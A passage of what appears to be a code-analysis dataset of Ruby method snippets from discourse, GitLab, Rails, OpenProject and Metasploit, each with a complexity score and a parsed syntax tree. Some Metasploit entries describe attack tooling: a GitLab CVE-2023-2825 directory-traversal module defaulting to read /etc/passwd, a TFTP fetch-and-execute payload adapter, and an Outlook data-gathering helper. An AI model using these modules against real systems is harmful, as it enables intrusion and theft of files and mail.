end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicate_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deduplicated\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duplicate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deduplicated\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"existing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"distance\",{\"type\":\"send\",\"children\":[null,\"calculate_distance_in_meters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lon\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distance\"]},\"<\",{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deduplicated\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"deduplicated\"]}]}]}","id":"a42fada1-3cb9-41ca-987b-b552974aebb2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'GitLab Authenticated File Read',\n        'Description' => %q{\n          GitLab version 16.0 contains a directory traversal for arbitrary file read\n          as the `gitlab-www` user. This module requires authentication for exploitation.\n          In order to use this module, a user must be able to create a project and groups.\n          When exploiting this vulnerability, there is a direct correlation between the traversal\n          depth, and the depth of groups the vulnerable project is in. The minimum for this seems\n          to be 5, but up to 11 have also been observed. An example of this, is if the directory\n          traversal needs a depth of 11, a group\n          and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).\n          Visually this looks like:\n          Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.\n          If the depth was 5, a group and 4 nested child groups would be created.\n          With all these requirements satisfied a dummy file is uploaded, and the full\n          traversal is then executed. Cleanup is performed by deleting the first group which\n          cascades to deleting all other objects created.\n        },\n        'Author' => [\n          'h00die', # MSF module\n          'pwnie', # Discovery on HackerOne\n          'Vitellozzo' # PoC on Github\n        ],\n        'References' => [\n          ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'],\n          ['URL', 'https://github.com/Occamsec/CVE-2023-2825'],\n          ['URL', 'https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/'],\n          ['CVE', '2023-2825']\n        ],\n        'DisclosureDate' => '2023-05-23',\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),\n        OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),\n        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]),\n        OptString.new('FILE', [true, 'File to read', '/etc/passwd'])\n      ]\n    )\n    deregister_options('GIT_URI')\n  end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"GitLab Authenticated File Read\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          GitLab version 16.0 contains a directory traversal for arbitrary file read\\n\"]},{\"type\":\"str\",\"children\":[\"          as the `gitlab-www` user. This module requires authentication for exploitation.\\n\"]},{\"type\":\"str\",\"children\":[\"          In order to use this module, a user must be able to create a project and groups.\\n\"]},{\"type\":\"str\",\"children\":[\"          When exploiting this vulnerability, there is a direct correlation between the traversal\\n\"]},{\"type\":\"str\",\"children\":[\"          depth, and the depth of groups the vulnerable project is in. The minimum for this seems\\n\"]},{\"type\":\"str\",\"children\":[\"          to be 5, but up to 11 have also been observed. An example of this, is if the directory\\n\"]},{\"type\":\"str\",\"children\":[\"          traversal needs a depth of 11, a group\\n\"]},{\"type\":\"str\",\"children\":[\"          and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).\\n\"]},{\"type\":\"str\",\"children\":[\"          Visually this looks like:\\n\"]},{\"type\":\"str\",\"children\":[\"          Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.\\n\"]},{\"type\":\"str\",\"children\":[\"          If the depth was 5, a group and 4 nested child groups would be created.\\n\"]},{\"type\":\"str\",\"children\":[\"          With all these requirements satisfied a dummy file is uploaded, and the full\\n\"]},{\"type\":\"str\",\"children\":[\"          traversal is then executed. Cleanup is performed by deleting the first group which\\n\"]},{\"type\":\"str\",\"children\":[\"          cascades to deleting all other objects created.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"pwnie\"]},{\"type\":\"str\",\"children\":[\"Vitellozzo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Occamsec/CVE-2023-2825\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-2825\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-05-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for the specified username\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Depth for Path Traversal (also groups creation)\"]},{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"File to read\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"GIT_URI\"]}]}]}]}","id":"1882c3b2-3b32-43e0-aa14-321dd45af7bb"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/google_groups.rb","start_line":51,"raw_source":"def extract(css, parent_element = driver)\n  begin\n    retries ||= 0\n    parent_element.find_elements(css: css).map { |element| yield(element) }\n  rescue Net::ReadTimeout, Selenium::WebDriver::Error::StaleElementReferenceError\n    sleep retries\n    retry if (retries += 1) < MAX_FIND_RETRIES\n  end\nend","complexity_score":15.58,"ast_json":"{\"type\":\"def\",\"children\":[\"extract\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"css\"]},{\"type\":\"optarg\",\"children\":[\"parent_element\",{\"type\":\"send\",\"children\":[null,\"driver\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_element\"]},\"find_elements\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css\"]},{\"type\":\"lvar\",\"children\":[\"css\"]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"ReadTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Selenium\"]},\"WebDriver\"]},\"Error\"]},\"StaleElementReferenceError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"lvar\",\"children\":[\"retries\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"<\",{\"type\":\"const\",\"children\":[null,\"MAX_FIND_RETRIES\"]}]},{\"type\":\"retry\",\"children\":[]},null]}]}]},null]}]}]}","id":"feb2f2e0-56f2-4d43-881e-985ce9617a27"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/scalability/random_cron_schedule.rb","start_line":38,"raw_source":"def on_send(node)\n          return if node.each_ancestor.none? { |ancestor| cron_job_setting?(ancestor) }\n\n          add_offense(node)\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_ancestor\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"send\",\"children\":[null,\"cron_job_setting?\",{\"type\":\"lvar\",\"children\":[\"ancestor\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"202b89fb-d9e8-446f-8718-78362d0af3da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/alert_management/alerts_finder.rb","start_line":34,"raw_source":"def by_domain(collection)\n      return collection if params[:iid].present?\n\n      collection.with_operations_alerts\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_domain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iid\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"with_operations_alerts\"]}]}]}","id":"6ee4f6cc-74a8-4bbf-89b0-073674ddda10"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/has_url.rb","start_line":21,"raw_source":"def get_from_url(url)\n      return if url.blank?\n\n      uri =\n        begin\n          URI(UrlHelper.unencode(url))\n        rescue URI::Error\n        end\n\n      return if uri&.path.blank?\n      data = extract_url(uri.path)\n\n      if data.blank?\n        result = nil\n        result ||= self.find_by(url: uri.path)\n        return result\n      end\n\n      result = nil\n\n      if self.name == \"Upload\"\n        sha1 = data[2]\n        result = self.find_by(sha1: sha1) if sha1&.length == Upload::SHA1_LENGTH\n      end\n\n      result || self.find_by(\"url LIKE ?\", \"%#{data[1]}\")\n    end","complexity_score":36.93,"ast_json":"{\"type\":\"def\",\"children\":[\"get_from_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlHelper\"]},\"unencode\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"Error\"]}]},null,null]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"extract_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]},\"length\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"SHA1_LENGTH\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha1\"]},{\"type\":\"lvar\",\"children\":[\"sha1\"]}]}]}]}]},null]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_by\",{\"type\":\"str\",\"children\":[\"url LIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"2d63210d-9451-43f2-8869-5e78c20a074e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/snippets_resolver.rb","start_line":16,"raw_source":"def resolve(**args)\n        return Snippet.none if project.nil?\n\n        unless project.feature_available?(:snippets, current_user)\n          raise_resource_not_available_error! 'Snippets are not enabled for this Project'\n        end\n\n        super\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippet\"]},\"none\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"feature_available?\",{\"type\":\"sym\",\"children\":[\"snippets\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\",{\"type\":\"str\",\"children\":[\"Snippets are not enabled for this Project\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9abbadff-9bfd-418d-a6a8-9e2af3f0ac78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/ipynbdiff/lib/ipynb_diff/symbol_map.rb","start_line":66,"raw_source":"def array_start(key, line, column)\n      @current_array_index << 0\n\n      add_symbol(key, line)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"array_start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_array_index\"]},\"<<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"add_symbol\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}","id":"621e91fb-d4f3-4fcc-aaff-fce901b9a2b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/outlook.rb","start_line":82,"raw_source":"def list_boxes\n    command = 'List-Folder'\n    execute_outlook_script(command)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"list_boxes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"str\",\"children\":[\"List-Folder\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_outlook_script\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}","id":"f49f99f1-a34e-4c66-b4b9-b5c591309721"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/builder/has_one.rb","start_line":37,"raw_source":"def self.touch_record(record, name, touch)\n      instance = record.send(name)\n\n      if instance&.persisted?\n        touch != true ?\n          instance.touch(touch) : instance.touch\n      end\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"touch_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"touch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"persisted?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"touch\"]},\"!=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"touch\",{\"type\":\"lvar\",\"children\":[\"touch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"touch\"]}]},null]}]}]}","id":"e606de6c-e017-47a3-830f-918fcc5956f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query.rb","start_line":215,"raw_source":"def available_columns\n    if @available_columns &&\n       (@available_columns_project == (project&.cache_key_with_version || 0))\n      return @available_columns\n    end\n\n    @available_columns_project = project&.cache_key_with_version || 0\n    @available_columns = ::Query.available_columns(project)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_columns\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_columns_project\"]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"cache_key_with_version\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@available_columns\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@available_columns_project\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"cache_key_with_version\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@available_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Query\"]},\"available_columns\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"837a40f7-927d-4eba-a967-5882b0753f90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/linux/tftp/x86.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'TFTP Fetch',\n        'Description' => 'Fetch and execute a x86 payload from a TFTP server.',\n        'Author' => ['Brendan Watters', 'Spencer McIntyre'],\n        'Platform' => 'linux',\n        'Arch' => ARCH_CMD,\n        'License' => MSF_LICENSE,\n        'AdaptedArch' => ARCH_X86,\n        'AdaptedPlatform' => 'linux'\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TFTP Fetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Fetch and execute a x86 payload from a TFTP server.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brendan Watters\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedArch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedPlatform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]}","id":"b8c770a0-0eb6-4e41-9e4e-121bebcdbbef"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":718,"raw_source":"def test_pass_env\n    get \"/success\", env: { \"HTTP_REFERER\" => \"http://test.com/\", \"HTTP_HOST\" => \"http://test.com\" }\n\n    assert_equal \"http://test.com\", @request.env[\"HTTP_HOST\"]\n    assert_equal \"http://test.com/\", @request.env[\"HTTP_REFERER\"]\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pass_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/success\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_REFERER\"]},{\"type\":\"str\",\"children\":[\"http://test.com/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]},{\"type\":\"str\",\"children\":[\"http://test.com\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.com\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.com/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\